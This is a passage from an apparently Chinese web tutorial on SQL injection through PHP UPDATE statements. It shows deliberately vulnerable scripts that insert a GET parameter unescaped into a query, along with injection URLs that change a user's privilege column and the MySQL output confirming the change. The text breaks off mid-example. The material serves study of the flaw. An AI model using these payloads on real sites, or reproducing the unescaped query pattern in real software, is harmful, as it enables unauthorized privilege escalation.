一.测试环境:
os: windowsxp sp2
php: php 4.3.10 (
mysql 4.1.9
apache 1.3.33
二.测试数据库结构:
—–start—
— 数据库: `test`
—
— ——————————————————–
—
— 表的结构 `userinfo`
—
create table `userinfo` (
`groudid` varchar(12) not null default ’1’,
`user` varchar(12) not null default ’heige’,
`pass` varchar(122) not null default ’123456’
) engine=myisam default charset=latin1;
—
— 导出表中的数据 `userinfo`
—
insert into `userinfo` values (’2’, ’heige’, ’123456’);
——end——-
三.测试模式:
1,变量没有带’’或””[mod1]
//test1.php mod1
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “test”;
mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);
$sql = “update userinfo set pass=$p where user=’heige’”;//
脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达
到修改groupid的目的:
那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1
在mysql里查询:
mysql> select * from userinfo;
+———+——-+——–+
| groudid | user | pass |
+———+——-+——–+
| 1 | heige | 123456 |
+———+——-+——–+
1 row in set (0.01 sec)
用户heige的groudid又2改为1了 🙂
所以我们可以得到没有’’或”” update的注射是可以成功的,这个就是我们的模式1。
2,变量带’’或””[mod2]
//test2.php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “test”;
mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);
$sql = “update userinfo set pass=’$p’ where user=’heige’”;//
为了关闭’我们构造$p应该为123456’,groudid=’2 提交:
http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了’
提交的语句变成:sql query:update userinfo set pass=’123456’,groudid=’1’ where user=’heige’
mysql查询:
mysql> select * from userinfo;
+———+——-+——————–+
| groudid | user | pass |
+———+——-+——————–+
| 2 | heige | 123456’,groud
+———+——-+——————–+
1 row in set (0.00 sec)
groudid并没有被修改。那么在变量被’’或””时 就完全没有被注射呢?不是 下面我们看模式2:
//test3.php mod2
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
http://www.bkjia.com/phpjc/508502.htmlwww.bkjia.comtruehttp://www.bkjia.com/phpjc/508502.htmltecharticle一.测试环境: os:windowsxpsp2 php:php4.3.10( mysql4.1.9 apache1.3.33 二.测试数据库结构: —–start— –数据库:`test` — —————————————-…